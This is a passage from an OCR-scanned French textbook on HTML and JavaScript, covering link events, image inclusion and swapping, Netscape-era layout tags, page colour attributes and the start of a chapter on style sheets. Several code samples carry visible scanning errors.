Revenons sur le principe de la programmation événementielle : lorsque le concepteur de
la page HTML décrit un lien (<a href=...), il peut souhaiter au moment où le lecteur
fait glisser d'un mouvement de souris le curseur sur cette ancre hypertexte, que quelque
chose d'exceptionnel survienne. Dans l'exemple suivant, une puce de couleur rouge
apparaît lorsque le curseur entre sur le lien et disparaît lorsqu'il en sort.
Le concepteur de la page doit donc positionner sur la balise l'événement qu'il veut inter­
cepter et décrire son traitement. Dans la balise HTML, on dispose de nouveaux attributs,
les événements auxquels on associe comme valeur le nom de la fonction JavaScript avec
d'éventuels paramètres.

<A HREF=... evenement:fonction(parametre1 ,parametre2...)>texte de l'ancre</a>

Si la fonction n'a pas de paramètres, les parenthèses sont cependant obligatoires.

• L'événement onMouseOver apparaît lorsque le curseur arrive sur la zone de lien

hypertexte.
• L'événement onMouseOut apparaît lorsque le curseur quitte la zone du lien hyper­
texte.
• L'événement onCIick apparaît lorsqu'on clique sur le lien.

73
 Programmation HTML et JavaScript

Exemple d'utilisation des événements onMouseOver et onMouseOut

Dans l'exemple suivant, on voit comment sont positionnés les événements permettant
d'intercepter l'entrée (onMouseOver) ou la sortie (onMouseOut) du curseur sur le lien.
On utilise une même fonction (survol) pour traiter cet événement. Si le curseur entre sur
le lien, on passera en paramètre la valeur "entree", s'il quitte le lien, on passera en para­
mètre la valeur "sortie". Le traitement ne fait ensuite que changer la ressource d'une
image. Ce traitement sera abordé dans Réalisation d'une carte cliquable animée,
page 138.

<html><head><title>Evenements sur les liens</title>

<script>
pointBlanc = new Image();
pointRouge = new Image();
[Link] ="../../IMAGES/[Link]"
[Link]=/IMAGES/[Link]"

function survol(sens) {
switch (sens) {
case "entree" :
[Link][0].src=[Link]
break;
case "sortie" :
[Link][0].src=[Link];
break;
}
}
</scriptx/headxbody bgColor= "white">
<img src="../../IMAGES/[Link]"> <b>
<a href="" onMouseOver=survol("entree")
onMouseOut=survol("sortie")>
Voulez vous cliquer ici ?</a></b>
</body></html>

Figure 20 - onMouseOver et onMouseOut

74
Créer des liens

Exemple d'utilisation de onClick

Dans cet exemple, nous allons définir un lien vers une image, mais celle-ci sera affichée
dans une nouvelle fenêtre du browser.
Voir dans le manuel JavaScript open, page 320, pour l'ouverture d'une fenêtre.

<html><head><title>onClick sur un lien</title>

<script>
function creerFenImage() {
fiRef = [Link] ( "", " fenlmage",
"width=290,height=200,scrollbars=no, toolbar=no, location=no,
directories=no,status=no")
}
</script><body >

<a href="[Link]"
target="fenlmage"
onClick="creerFenImage()">
<b>AMPHITH&Eacute ; &Acirc ; TRE D ' EL-JEM</b></a>

</body></html>

Figure 21 - onClick sur un lien hypertexte

Cet exemple a pour but de montrer une utilisation de l'événement onClick sur un lien.
Le fonctionnement est le suivant : lorsque l'on clique sur le lien "AMPHITHEATRE

75
 Programmation HTML et JavaScript

D'EL-JEM", on exécute d'abord la fonction "creerFenImage" qui crée une nouvelle

fenêtre du browser, dont le nom sera "fenImage". Cette fenêtre a une largeur de 380
pixels sur une hauteur de 150 pixels (width=380, height=150) ; elle est dépourvue du
décor habituel de la fenêtre d'un browser : pas d'affichage des boutons, de l'adresse de
l'URL en cours ni de la zone de status (toolbar, location, directories, status).
Lorsque cette fenêtre est créée, le lien demandé (...[Link]) est chargé dans la fenêtre
spécifiée ("fenImage") par l'attribut target.

Exemple de lecture et modification de la destination d'un lien (target)

Dans ce dernier exemple, avant d'afficher une image, on propose au lecteur de choisir de
l'afficher dans la fenêtre courante, effaçant ainsi le document qu'il a sous les yeux, ou de
l'afficher dans une nouvelle fenêtre.

<html>
<head><title>changement et lecture du target</title>
<script>

function nelle() {
[Link][2].target = "fenImage";
}

function celleci() {
[Link][2].target = "";
}
function creerFenImage() {
if ([Link][2].target == "fenImage") {
fiRef = window. open ("", "fenImage",
"width=290,height=200,toolbar=no,location=no,directories=no
,status=no");
}
}
< / script >< /head><body >
O&ugrave; voulez-vous mettre l'image,
<a href=javascript:nelle()>
dans une nouvelle fen&ecirc;tre </a>? ou dans
<a href=javascript:celleci()>
celle-ci ?</a><p>
<a href="[Link]" onClick=creerFenImage()>
Voir l'image</a>

</body></html>

76
Créer des liens

Figure 22 - Changement du target d'un lien hypertexte

L'exemple fonctionne de la manière suivante : lorsqu'on clique sur "dans une nouvelle
fenêtre", on effectue la fonction JavaScript "nelle". Celle-ci donne pour le lien numéro 2
([Link]), une destination de l'affichage (un target) égale à "fenImage". Si l'on clique
sur "celle-ci", on effectue la fonction JavaScript "celleci", qui affecte une chaîne nulle au
lien numéro 2 ; la chaîne nulle indique que l'on ne change pas la destination d'affichage.
Maintenant, si l'on clique sur "voir l'image", on effectue la fonction "creerFenImage" ;
cette fonction teste le target du lien numéro 2, et si celui-ci est égal à "fenImage", la
fenêtre correspondante est créée, permettant à l'image de s'afficher dans cette nouvelle
fenêtre. Si, en revanche, le résultat du test est nul, il n'y a pas de création de fenêtre et
l'image s'affiche de façon standard, dans la fenêtre d'origine, remplaçant ainsi le docu­
ment initial.

77
 Programmation HTML et JavaScript

RÉSUMÉ

La balise <A> permet de décrire les liens hypertexte dans un docu­

ment. On distingue :
• Les liens définissant un accès vers un document. L'attribut utilisé
dans ce cas est HREF, qui permet de définir l'adresse du document à
atteindre. Cette adresse peut être :
une URL standard : <A HREF="URL">...</A>
une étiquette vers un point précis du document :
<A HREF="#LABEL">...</A>
la combinaison des deux : <A HREF="URL#LABEL">...</A>
Le texte situé entre les balises <A> et </A> s'appelle l'ancre ; il sera
mis en évidence par le browser car c'est une zone cliquable (souligne­
ment, couleur, etc.).
• Les liens définissant un point d'entrée dans un document. L'attribut
utilisé ici est NAME, qui définit un label (une sous-adresse) dans le
document : <A NAME="LABEL">...</A>
Le texte situé entre les balises <A> et </A> n'a aucun attribut visuel,
ce n'est pas une zone cliquable.

L'extrémité d'un lien peut être : un fichier HTML, une image, un film ou
un texte.

Ilest possible de décrire des liens vers d'autres services de l'Internet

comme : FTP, NEWS, TELNET, MAILTO, JAVASCRIPT, etc.

Dans un contexte JavaScript, chaque lien est rangé dans un tableau

et on peut accéder à un lien par son indice : [Link][indice]
Le nombre de liens d'une page peut être connu par la valeur
[Link].
La seule propriété d'un lien pouvant être lue ou modifiée est
[Link][i].target.
Enfin il existe trois événements associés au lien :
• onMouseOver
• onMouseOut
• onClick

78
 Chapitre 9

Inclusion d'images

Ce chapitre décrit les méthodes permettant d'inclure des images dans la conception de
pages HTML, mais n'aborde pas les procédés destinés à la fabrication ou au traitement
d'images. Cet aspect sera abordé dans l'annexe, Créer des images, page 407.

Les images en ligne

On entend par image en ligne une image dont l'affichage se fait automatiquement dans la
fenêtre du browser lors du transfert de la page HTML. Cet affichage est quasi simultané
avec l'apparition du texte de la page ; l'illustration trouve sa place dans le document
HTML dans les mêmes conditions qu'une photo sur une page imprimée.
Il existe plusieurs façons d'enregistrer une image numérique pour la stocker sur un sup­
port informatique. Comme tous les browsers graphiques doivent pouvoir comprendre le
format dans lequel a été encodée l'image, le format GIF (Graphics Interchange Format)
s'est imposé comme standard. Il s'agit d'un format compressé, conçu pour optimiser les
temps de téléchargement et permettant le traitement d'images en couleurs ou en niveaux
de gris. Ce format n'autosise pas de donner plus de 256 couleurs à un point de l'image
(pixel). D'autres formats comme XBM ou JPEG peuvent être utilisés. Employer le for­
mat GIF ou JPEG dans des images en ligne, c'est s'assurer que le lecteur les recevra cor­
rectement quel que soit le browser utilisé.

<IMG>
C'est la balise permettant d'inclure une image. Elle sera toujours complétée par l'attribut
SRC, qui permet de donner l'adresse du fichier graphique contenant l'image :

<IMG SRC=/repertoire/sous_repertoire/nom_du_fichier_graphique>

79
 Programmation HTML et JavaScript

Dans l'exemple qui suit, le répertoire images se situe au premier niveau par rapport à la
racine du serveur, et l'image [Link] se trouve dans le sous-répertoire animaux.

<img src=/images/animaux/[Link]>

Figure 23 - Le répertoire d'images

En toute logique, l'image que l'on propose dans une page HTML d'un serveur devrait
toujours résider sur ce serveur.
La valeur de l'attribut SRC permet cependant de spécifier une URL, si bien qu'il est tout
à fait correct de trouver des images définies comme suit :

<img src="[Link]

ou encore

<img src="[Link]

Exécutées, par exemple, sur le serveur [Link], ces lignes provoqueront une con­
nexion au serveur [Link] et les images s'afficheront bien ; cet affichage est néan­
moins subordonné à la disponibilité du serveur [Link] et à la qualité de la
transmission.

80
Inclusion d'images

S'il est tolérable, dans la proposition d'un lien, de ne pouvoir y accéder, il n'est pas accep­
table que l'image insérée dans un texte dépende d'un serveur extérieur. Une exception à
cette règle peut être faite lorsqu'il s'agit d'une image dynamique : on décide par exemple
de mettre dans une page de son serveur la carte météorologique mise à jour périodique­
ment par le serveur de Météo-France.
On aura donc généralement soin de référencer dans la balise <IMG> un fichier graphique
local.
Une image peut être insérée au fil du texte, mais si l'on désire affecter un style particulier
au texte qui se trouve sur la même ligne que l'image, il faut définir la balise de style
avant de définir l'image si la balise est de type <Hn>. En effet, la balise de type <H>
provoque un retour à la ligne, l'inverse de l'effet souhaité. Si la balise est une balise de
style physique comme <i>, il n'y a pas de règle à respecter.

<html>
<head><title>Les images en ligne</title></head>
<body>
<h3>C&eacute;sar <img src="[Link]"> <i>
Poule - 1988 </i></h3>
</body>
</html>

81
 Programmation HTML et JavaScript

Alignement des images

La balise <IMG> admet un attribut de présentation permettant de situer l'image par rap­
port à la ligne de texte courante. Il s'agit de l'attribut ALIGN, dont les valeurs peuvent
être :
• ALIGN=TOP pour aligner le haut de l'image sur la ligne courante,
• ALIGN=MIDDLE pour aligner le milieu de l'image sur la ligne courante,
• ALIGN=BOTTOM pour aligner le bas de l'image sur la ligne courante.

<html>
<head><title>Les images en ligne : alignement</title></head>
<body>
<h3>
Voici <img src="[Link]" align=top>
une image <img src="[Link]" align=middle>
align&eacute;e <img src="[Link]" align=bottom>
diff&eacute;remment.
</h3>
</body>
</html>

D'autres attributs, LEFT et RIGHT permettent au texte de couler autour de l'image, avec
un réglage de l'espace vertical VSPACE et un réglage de l'espace horizontal HSPACE.
Il est aussi possible de redéfinir la taille de l'image à l'aide des attributs WIDTH et
HEIGHT, mais il faut savoir qu'agrandir ou diminuer une image peut nuire à sa qualité.
Ces deux attributs sont aussi très intéressants, pour obtenir, à partir d'un seul pixel
coloré, des rectangles de différentes largeur et hauteur. On peut ainsi calculer et réaliser
des histogrammes en utilisant une image constituée d'un seul pixel que l'on redimen-
sionne !
Enfin, il est possible d'affecter l'image d'un cadre noir avec l'attribut BORDER. Pour
tous ces attributs, la valeur s'exprime en points.

82
Inclusion d'images

<html>
<head><title>Les images en ligne</title></head>
<body>
<h3>Image originale</h3>
<img src="[Link]">
<h3>Image r&eacute;duite, align&eacute;e et encadr&eacute;e
&agrave; l>aide d>extensions Netscape</h3>
<img src="[Link]" align=right hspace=20 vspace=20 width=100 hei-
ght=100 border=4>
Quocumque me certi, argumenta senectius meae video. Veneram
................admotus ? Foras enim spectat. Unde istunc nactus es
? Quid te delectavit alienum mortuum tollere ?
</body>
</html>

Les images et les browsers non graphiques

Nous savons que certains browsers (Lynx par exemple) sont orientés pour des terminaux
non graphiques. Lorsque l'on conçoit un document HTML avec des illustrations, il est
donc très important de se demander si ce document aurait encore un sens si l'on enlevait
ces illustrations. Afin de ne pas dérouter le lecteur utilisant un browser de ce type, il est
recommandé de toujours spécifier, dans la balise d'insertion d'images, un texte substitua­
ble à l'image par ce type de browsers.

83
 Programmation HTML et JavaScript

L'attribut ALT accompagné du texte de substitution remplit cette fonction :

<IMG SRC="[Link]" ALT="Photo du cheval Camarguais">

En lieu et place de la photo, le lecteur trouvera ce texte, qui pourra aider à une meilleure
compréhension du document.

Les images en guise d'ancres

On peut tout à fait remplacer le texte d'une ancre par une balise définissant une image.

<a href= "[Link]"><img src="[Link]"></a>

Dans ce cas, l'image est encadrée par un filet de couleur pour indiquer qu'il s'agit d'un
lien hypertexte sur lequel on peut cliquer.
C'est cette méthode qui est utilisée pour placer des boutons de navigation dans les pages
HTML.

<html><head><title>IMAGES</title></head><body>
<b>E</b>n cliquant sur l>imagette vous obtiendrez
une vue agrandie du tableau <i>(format JPEG)</i><p>
<a href=»Naissance_de_Venus.jpeg»>
<img src=»Naissance_de_Venus.[Link]»></a> <p>
<b>V</b>ous pouvez aussi
<a href="Naissance_de_Venus.jpeg"> cliquer ici</a><p><hr>
<a href="[Link]"><img src="[Link]"></a>
<a href="[Link]"><img src="[Link]"></a>
<a href="[Link]"><img src="[Link] "></a><h5>
|<a href="[Link]">page pr&eacute;c&eacute;dente</a>
|<a href="[Link]">sommaire</a>
|<a href="[Link]">page suivante</a>|
</h5></body></html>

84
Inclusion d'images

Les images et JavaScript

Voir dans le manuel JavaScript Image(), page 353.

Tout comme les liens, les images sont rangées dans un tableau et sont accessibles grâce
au mot clé images.
[Link][i] référence les images d'une page HTML avec i variant de 0 à
[Link]-1, [Link] donnant le
nombre d'images contenues dans la page.

L'objet image possède quatre propriétés :

• src définit l'adresse (l'URL) du fichier contenant l'image,
• height retourne la hauteur de l'image en pixels (propriété non modifiable),
• width retourne la largeur de l'image (propriété non modifiable),
• complété renseigne sur l'état de l'affichage de l'image (a la valeur false tant que
l'image n'est pas complètement affichée, true ensuite).

Exemple de modification d'image

Lorsque la souris passe sur le chiffre 1, il est aussitôt remplacé par le chiffre 2 ; le chiffre
1 revient lorsque la souris sort de l'image.

<html><head><title>1 2... </title><script>

un = new Image( ) ; deux = new Image( ) ;
[Link] = "[Link]"; [Link] = "[Link]";
</script></head><body bgcolor=#000000>
<a href=javascript:void(0)
onMouseOver="[Link][0].src=[Link]"
onMouseOut="[Link][0].src=[Link]">
<img src=[Link] border=no></a></body></html>

On trouvera dans l'exemple Réalisation d'une carte cliquable animée, page 138 une
autre utilisation de l'objet image.

85
 RÉSUMÉ

On peut inclure deux types d'images dans un document HTML :

• Les images en ligne sont celles qui apparaissent dans la page HTML,
elles sont généralement au format GIF ou JPEG.
La balise pour inclure une image en ligne est :

<IMG SRC=url_du_fichier.gif>

D'autres attributs sont possibles :

ALT =texte pour spécifier un texte de substitution pour les browsers

non graphiques.
ALIGN=TOP ou BOTTOM ou MIDDLE pour aligner l'image sur une
ligne de texte.

D'autres attributs permettent de redimensionner et de faire flotter une

image dans un texte :

ALIGN= LEFT et RIGHT font flotter l'image à gauche ou à droite du

texte.
WIDTH=/ et HEIGHT=H, / et H représentant la largeur et la hauteur
de l'image en pixels.
BORDER=n, n représentant l'épaisseur du trait bordant l'image ; la
valeur 0 supprime la bordure.

• Les images externes sont des fichiers graphiques pointés par des
liens hypertexte :

<A HREF=url_ du_ fichier. gif> ancre </a >

<A HREF=url_ du_ [Link]>ancre </a>
• Propriétés JavaScript :
Les images sont stockées dans le tableau images. Le nombre d'ima­
ges du document est [Link]
src : URL du fichier image
height et width : donnent les dimensions de l'image
complete : affichage complet (true) ou non (false)

86
 Chapitre 10

Mise en page

Avec l'apparition des premiers browsers graphiques, les auteurs ont tenté de donner aux
pages du Web la même apparence que celles des revues. Certains ont détourné les balises
de leur fonction première pour essayer de faire de la mise en page (par exemple, l'utilisa­
tion des tableaux pour faire du colonnage), ou d'influer sur la typographie.
Plus on s'éloignait de la fonction d'origine du Web (instrument créé au CERN pour les
scientifiques) pour aller vers des applications commerciales et grand public, plus la
nécessité de faire de la PAO sur le Web devenait grande.
Les éditeurs de logiciels de navigation (Netscape, Microsoft, etc.) ont bien compris ce
besoin, et ont même tenté de l'utiliser pour imposer leur browser. En effet, en apportant
les balises de mise en page attendues par les auteurs, ils poussent ceux-ci à les utiliser et
ainsi à recommander l'emploi de leur browser. Ainsi avance le langage HTML !
Lorsqu'une balise est d'emploi suffisamment répandue, les comités de normalisation
n'ont guère d'autre choix que de la valider. C'est ainsi que l'on est passé de la version 2
d'HTML à la version 3.2, en oubliant quelque peu (provisoirement ?) HTML 3.0.
Nous allons décrire dans ce chapitre un certain nombre de balises de présentation, en rap­
pelant qu'il appartient à l'auteur d'une page de s'assurer que ses lecteurs auront le brow­
ser "convenable" pour visiter ces pages.

Intranet ou Internet ?
Dans le cas de l'édition de pages pour un intranet de société, la tâche de l'auteur est sim­
plifiée : si l'ensemble des postes de consultation utilisent le même browser au même
niveau, il peut alors créer ces pages en utilisant toutes les fonctionnalités reconnues par
celui-ci.

87
 Programmation HTML et JavaScript

Dans le cas de création de pages pour l'Internet, il faut plus de prudence, et indiquer sur
la première page pour quel browser sont conçues les pages... ou accepter que certains
lecteurs perdent une partie de l'information !

<FONT>
Cette balise permet d'agir sur des blocs distincts de caractères pouvant se situer sur une
même ligne. Elle permet de régler la taille, la couleur, le type (ou la police) des caractères
d'un texte. L'ensemble du texte situé avant la balise </FONT> est affecté par les attributs
de la balise. A l'intérieur de ces balises, on peut imbriquer d'autres balises de style (<B>,
<I>, etc) ou d'autres balises <font>.

<FONT SIZE=n COLOR=x FACE=police_choix 1, police_chix2, police_choix3>

L'attribut SIZE
Cet attribut permet de régler la hauteur des caractères à l'aide d'une échelle comprise
entre 1 et 7. Si la valeur de l'attribut est précédée du signe +, la valeur indique l'augmen­
tation de taille par rapport aux caractères courants (taille relative). Cette taille par défaut
étant de 3, en mesure relative il ne sert à rien d'incrémenter au-delà du maximum (7,
c'est- à-dire +4).
Sans aucun signe, la valeur indiquée est la taille exacte des caractères (valeur absolue).

L'attribut COLOR
Cet attribut spécifie la couleur des caractères dans le modèle RGB : "rr", "gg", "bb" sont
des valeurs hexadécimales comprisent entre 00 et FF qui spécifient le degré de saturation
des couleurs rouge, vert et bleu dont le mélange produit la couleur souhaitée.
00 représente le minimum et FF le maximum pour une des composantes. Ainsi, la valeur
FF0000 donne un rouge avec une intensité maximale, FFFFFF du blanc, 000000 du noir,
etc.

L'attribut FACE
L'auteur d'un document HTML peut choisir la police de caractères utilisée pour le texte
à l'aide de cet attribut. Pour que cela fonctionne, il est évident que la police doit résider
sur l'ordinateur du poste client. Comme ce n'est pas du tout certain, il est possible de
préciser trois choix. Si aucune des polices n'est présente, l'attribut est sans effet, et le
texte est affiché avec la police par défaut du browser.

<html>
<head><title>taille et fontes du texte</title></head>
<body>
taille courante, <font size=l>la plus petite taille</font>
et <font size=7>la plus grande</font><br>
taille courante, <font size=4> et taille 4 </font><br>
taille courante, <font size=+2>et taille +2</font><br>
<font size=2 color=#0000ff><b><i>Bleu
<font size=+2 color=#ffffff>Blanc

88
Mise en page

<font size=+3 color=#ff0000> Rouge</i></b>

</ font>
</font>
</font>
<br>
<font size=+2 color=#ff0000>R
<font color=#00ff00>G
<font color=#0000f f>B</font></font></font><br>
<font size=7 face="Brush Script MT">
Texte en Brush Script MT
</font></body></html>

Figure 24 - Réglage des fontes

<MULTICOL>
Cette balise permet la mise en forme d'un document en colonnes multiples, comme dans
un journal : le texte se déroule jusqu'en bas d'une colonne pour continuer dans la
colonne suivante. L'ensemble du texte inscrit entre les balises <MULTICOL> et </MUL-
TICOL> est soumis à cet agencement. Cette balise génère un espacement vertical de type
paragraphe.

<MULTICOL COLS=n GUTTER=x WIDTH=m>

L'attribut COLS
Cet attribut spécifie, grâce à sa valeur, le nombre de colonnes de largeur égale sur les­
quelles va se distribuer le texte. L'ensemble des colonnes va se répartir en occupant toute
la largeur de la page, sauf si l'attribut WIDTH vient contrarier cette organisation.

L'attribut WIDTH
Par la valeur qui lui est affectée, cet attribut optionnel offre la faculté de déterminer la
largeur en pixels des colonnes (cette valeur est valable pour l'ensemble des colonnes). Si
cet attribut est omis, l'ensemble des colonnes se répartit sur toute la largeur de la page.

89
 Programmation HTML et JavaScript

L'attribut GUTTER
La largeur de la gouttière, c'est-à-dire l'espace entre deux colonnes, est caractérisée par
la valeur en pixels indiquée à l'aide de cet attribut.

<html><head><title>colonnes de texte</title></head>
<body bgcolor=#ffffff><font size=+2 >L'appuyer</font>
<multicol cols=3 gutter=16>
<font size=6>C'</font>est un mouvement par lequel le cheval se trans­
porte parall&egrave;lement &agrave; lui m&ecirc;me, l'avant- main et
l'arri&egrave;re-main suivant

avancer et &agrave; ce que le lat&eacute;ral droit gagne du terrain

vers 1'int&eacute; rieur.<p>
<hr><i>Manuel d'&eacute;quitation, instruction du cavalier, emploi et
dressage du cheval<i>
</multicol>
</body>
</html>

Figure 25 - Texte en colonnes

<CENTER>
Cette balise permet de centrer, dans le sens horizontal de la page, un bloc de texte mais
aussi des images ou les éléments d'un formulaire. Elle affecte tous les objets jusqu'à ce
qu'apparaisse la balise </CENTER>.
Logiquement, on devrait plutôt utiliser la balise <P> ou <Hn> pour centrer un texte.

<SPACER>
La balise <SPACER> permet un contrôle vertical et horizontal du blanc entre des élé­
ments d'une page HTML. On peut ainsi régler de façon précise l'espace entre deux
lignes, entre deux mots ou avec d'autres objets comme les images ou les éléments d'un

90
Mise en page

formulaire. Cela permet des réglages plus fins que ceux que l'on pouvait tenter en utili­
sant la balise <PRE> assortie d'espaces et de retours à la ligne.

<SPACER TYPE=mot_clef SIZE=n> ou

<SPACER TYPE="BLOCK" WIDTH=x HEIGHT=y ALIGN=mot_ckef>

L'attribut TYPE
Cet attribut définit, par les valeurs qu'il peut prendre (HORIZONTAL, VERTICAL ou
BLOCK), l'espacement entre les objets.

L'attribut SIZE
La valeur en pixels de l'espacement est indiquée par la valeur donnée à cet attribut.
LUNDI<SPACER TYPE=HORIZONTAL SIZE=100>MARDI
entraîne l'écriture des mots LUNDI et MARDI avec un blanc intermot de 100 pixels tan­
dis que,
LUNDI<SPACER TYPE=VERTICAL SIZE=100>MARDI
provoque l'écriture des deux mots sur deux lignes différentes espacées de 100 pixels.

Les attributs WIDTH, HEIGHT et ALIGN

Si la valeur BLOCK est donnée à l'attribut SIZE, on peut préciser alors ces trois autres
attributs. Pour les attributs WIDTH (largeur) et HEIGHT (hauteur), on indique une
valeur en pixels ; l'attribut ALIGN ne pourra prendre que les valeurs TOP (alignement
du sommet du bloc avec les objets qui l'encadrent), BOTTOM (alignement de la base du
bloc avec les objets qui l'encadrent) et CENTER ou MIDDLE (alignement du centre du
bloc avec les objets qui l'encadrent).
Le mode BLOCK fonctionne exactement comme l'insertion d'une image, mais à la
place de l'image il n'y a que du blanc ! Avouons que nous n'avons pas vraiment trouvé
d'utilisation pour ce mode bloc...

<BR> et l'attribut CLEAR

L'utilisation de l'attribut CLEAR sur la balise <BR> permet de laisser blanc l'espace
entre une image et le reste de la page. En effet, en l'absence de cette balise, le texte coule
naturellement entre l'image et le bord de la page.
Si l'image est positionnée à droite (align=right) pour laisser blanc l'espace entre elle et le
bord gauche de la page, on donnera à l'attribut CLEAR la valeur RIGHT :
<BR CLEAR=right>
A l'inverse, si l'image est positionnée a gauche :
<BR CLEAR=left>
Ces deux possibilités sont intéressantes dans le cas de texte en colonnes. En effet, si l'on
veut glisser une illustration dont la largeur est légèrement inférieure à celle de la colonne,
on risque de créer une colonne de texte très étroite dans l'espace restant. L'utilisation de
cette balise permet de supprimer cet effet inesthétique.

91
 Programmation HTML et JavaScript

Si deux images sont positionnées sur les bords gauche et droit de la page, pour laisser
l'espace vide entre elles , on utilisera :
<BR CLEAR=all>

<html>
<head><title>taille et fontes du texte</title></head>
<body bgcolor=#ffffff><multicol cols=2>
<font size=6>C'</font>est un mouvement par lequel le cheval se trans­
porte dans la direction de la marche. <br>

L'appuyer oblige le cheval ....

<img src="[Link]" align="right"><br clear=right>
....utile de rapprocher l'une de l'autre les pistes des deux
<hr><i>Manuel d'&eacute;quitation, instruction du cavalier, emploi et
dressage du cheval<i>
</multicol></body></html>

Figure 26 - Positionnement d'une image dans un texte en colonnes

<BODY> pour le décor !

Un certain nombre d'attributs de la balise <BODY> (voir <BODY>, page 28) permettent
de contrôler la couleur du fond de la fenêtre du browser, des caractères du texte et enfin
des liens.
L'utilisation de la balise reste inchangée dans la structuration du document HTML :

<html>
<head>
<title>test de fond de page</title>
</head>
<body attribut_l attribut_2 ... attribut_n>
document

92
Mise en page

</body>
</html>

Les fonds d'écran

L'attribut BGCOLOR
Cet attribut permet de choisir une couleur pour le fond de la page. Il peut être utilisé sans
restriction1, car à l'inverse de l'attribut BACKGROUND, il ne consomme pas de bande
passante sur le réseau.

<BODY BGCOLOR= "#rrggbb">

<BODY BGCOLOR="#ffffff">

On obtient ainsi une page HTML sur fond blanc, alors que par défaut le fond de page est
gris.

L'attribut BACKGROUND
Cet attribut permet de spécifier non plus une couleur mais une image ; celle-ci résidant
sur le serveur, on augmente le temps de chargement de la page vers le browser.
Le choix de l'image est très important : la texture de l'image devrait être simple et relati­
vement monochrome pour préserver la lisibilité de la page ; en outre, plus sa taille (en
octets) sera faible, plus rapide sera son chargement.

<BODY BACKGROUND= "fichier_graphique.gif" >

fichier_graphique.gif représente l'URL de l'image sur le serveur

<BODY BACKGROUND="[Link]">

1. Attention à l'abus de ce genre d'artifices, qui peut nuire à la lisibilité de la page et don­
ner un aspect trop clinquant au document.

93
 Programmation HTML et JavaScript

La couleur du texte
L'attribut TEXT
Cet attribut permet de contrôler la couleur du texte standard, c'est-à-dire tout texte ne
spécifiant pas un lien. Cet attribut permet d'agir sur l'ensemble du document contraire­
ment à ce qui peut être fait sélectivement par la balise <FONT> et son attribut COLOR.
Le codage de la couleur se fait de la même façon que pour l'attribut BGCOLOR.

<BODY TEXT= "#rrggbb">

Les attributs LINK, VLINK et ALINK

Ces trois attributs permettent de contrôler la couleur des liens (soit du texte, soit du cadre
autour d'une image utilisée en guise de lien).

• LINK est la couleur d'un lien qui n'a pas encore été visité (bleu par défaut).
• ALINK est la couleur très fugitive qui apparaît au moment où l'on clique sur un lien
(rouge par défaut).
• VLINK est la couleur d'un lien qui a déjà été visité (violet-pourpre par défaut).

<html>
<head>
<title>Reglage des couleurs de la page</title>
</head>
<body bgcolor="#000000" text="#0000ff" link="#ff0000"
alink="ffff00" vlink= "00ff00">
<h2>
<a href="[Link]
<a href="[Link] Packard</a><br>
<a href="[Link]
</h2>
</body>
</html>

Dans cet exemple, le texte standard apparaîtra en bleu, les liens non visités en rouge, le
lien au moment du clic en jaune et le lien déjà visité en vert, le tout sur fond noir.

94
Mise en page

95
 HTML niveau 3.2 permet de modifier l'apparence de la page :
RÉSUMÉ

• Réglage des caractères : <FONT> </FONT>

Avec l'attribut SIZE=n, on définit une taille entre 1 et 7.
Avec l'attribut SIZE=+n, on définit la taille par rapport à la taille cou­
rante.
Avec l'attribut COLOR="#rrggbb" pour donner une couleur.
Avec l'attribut FACE=police1,police2,police3, on permet de choisir la
police du texte, pour peu qu'au moins une des trois polices spécifiées
réside sur l'ordinateur.

• Colonnage du texte : <MULTICOL> </MULTICOL>

L'attribut COLS=n donne le nombre n de colonnes du texte.
L'attribut WIDTH=x permet de forcer la taille des colonnes en pixels.
L'attribut GUTTER=x permet de donner la taille de la gouttière en
pixels (espace intercolonne).

• Centrage d'éléments (texte, images, etc.) : <CENTER> </CENTER>

• Réglage d'éléments (texte, images, etc.) : <SPACER>

L'attribut TYPE permet de préciser si l'on agit horizontalement (hori­
zontal), verticalement (vertical) ou dans les deux sens (block).
L'attribut SIZE permet de spécifier la quantité de blanc (l'espacement)
en pixels pour TYPE=horizontal ou pour TYPE=vertical.
Les attributs WIDTH=x et HEIGHT=y permettent de spécifier la taille
xy en pixels d'un bloc (TYPE=block).
L'attribut ALIGN prenant une des valeurs top, bottom ou center on
peut aligner le bloc (TYPE=block) par rapport aux objets qui l'entou­
rent.

• La balise <BR
CLEAR=>
CLEAR=right pour empêcher le texte de couler sur la gauche d'une
image située à droite.
CLEAR=left pour empêcher le texte de couler sur la droite d'une
image située à gauche.
CLEAR=all pour empêcher le texte de couler entre deux images, l'une
située à droite et l'autre à gauche de la page.

96
Mise en page

• Le fond de la page
Avec une couleur de fond : <BODY BGCOLOR="#rrggbb">
Avec une couleur de fond : <BODY BACKGROUND="url_image">
• La couleur du texte et la couleur des liens
Couleur de texte : <BODY TEXT="#rrggbb">
Couleur des liens non visités : <BODY LINK=,,#rrggbb">
Couleur des liens visités : <BODY VLINK="#rrggbb">
Couleur du lien au moment du clic : <BODY ALINK="#rrggbb">
Les couleurs sont définies dans le système RGB, chaque compo­
sante étant définie sur deux octets dont chacun peut prendre une
valeur comprise entre 0 et F (exprimée en hexadécimal).
Exemple de couleurs :
azur fffffO
orange f87a17
rose faafbe
or d4a017
gris 766F6e
violet 8d38c9
lavande e3e4fa
jaune fffOOO

97
 Chapitre 11

Les feuilles de style

L'apprentissage des styles tel que nous allons le décrire n'a pas l'ambition d'être com­
plet. Nous avons préféré décrire un sous-ensemble qui fonctionne correctement avec
Communicator (Netscape 4) ou Internet Explorer plutôt que de décrire toutes les fonc­
tionnalités présentes dans la norme CSS1 (Cascading Style Sheets), fonctionnalités qui
ne sont pas encore implémentées dans ces browsers et ne le seront peut-être jamais !
Au moment où nous écrivons, l'implémentation au niveau des styles n'est pas encore
totalement stable. Il faut être prudent en les utilisant d'autant que lors de l'installation de
leurs browsers, Netscape et Microsoft désactivent par défaut l'utilisation des feuilles de
style. Ainsi, certains exemples fonctionneront avec Internet Explorer et pas avec Com­
municator et vice-versa. Il serait dangereux et difficile de dresser la liste de ce qui fonc­
tionne chez l'un et pas chez l'autre, car on peut espérer que demain tout fonctionnera
chez l'un et chez l'autre. Disons simplement aujourd'hui qu'Intemet Explorer reconnaît
la norme CSS et que Netscape devrait supporter CSS et JASS (JavaScript Accessible Sty­
les Sheets).
Encore une fois, il est nécessaire de rappeler que l'auteur d'une page HTML doit tester
ses pages dans plusieurs environnements, sauf s'il connaît bien la configuration utilisée
par ses lecteurs (cas d'un intranet par exemple).
Le principe de la feuille de style est le même que dans un traitement de texte. On ne se
préoccupe que de la structuration du texte lorsqu'on le compose, puis on référence dans
ce texte un ensemble d'instructions qui régiront la typographie à appliquer au texte. Ces
instructions peuvent se trouver dans le fichier lui-même, mais sont le plus souvent dans
